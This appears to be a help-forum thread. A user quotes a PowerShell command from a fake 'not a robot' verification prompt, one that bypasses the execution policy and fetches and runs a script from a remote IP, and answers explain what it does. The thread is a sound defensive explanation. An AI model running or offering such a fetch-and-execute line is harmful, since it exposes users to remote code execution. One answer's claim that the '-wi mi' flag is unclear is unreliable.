I stupidly ran this powershell prompt

Question

I stupidly ran this CMD command and have no idea what it may have done.

powershell -wi mi -EP B -c iex(irm 193.<redacted>:5506/I-AM-NOT-A-ROBOT-VERIFY.txt)

Can someone tell me what exactly this commandmeans? As it says towards the end, I thought I was passing a not a robot link.

Many Thanks

Answer 1

You're lucky in that the final payload (Ellaism.msi) for the chain of scripts has been taken down.

Answer 2

Hi JDZ,

Did running that command show

that it did anything? If it did I would

System Restore to before you ran the

Command, if you created a Restore point.

Answer 3

The command you ran is a PowerShell command that executes a script from a remote server. Let's break it down:

1. powershell: This invokes the PowerShell environment.
2. -wi mi: This part is not standard and seems to be a typo or misconfiguration. It might be intended to set some parameters, but it’s unclear without context.
3. -EP B: This sets the execution policy to Bypass, which allows scripts to run without restrictions. This is often used to run potentially harmful scripts without warning.
4. -c: This indicates that the following string is a command to execute.
5. iex(irm 193.<redacted>:5506/I-AM-NOT-A-ROBOT-VERIFY.txt): This is the core of the command:

• iex: This is an alias for Invoke-Expression, which executes the string as a command.
  • irm: This is an alias for Invoke-RestMethod, which retrieves content from the specified URL.
  • 193.<redacted>:5506/I-AM-NOT-A-ROBOT-VERIFY.txt: This is the URL from which the content is being fetched. The content from this URL is then executed as a PowerShell command.

In summary, this command fetches a script from a remote server and executes it. This can be very dangerous, as it could potentially run malicious code on your system. If you are concerned about security, it is advisable to run a full antivirus scan and monitor your system for any unusual activity.

---

References:

• Invoke-Expression
• Invoke-Command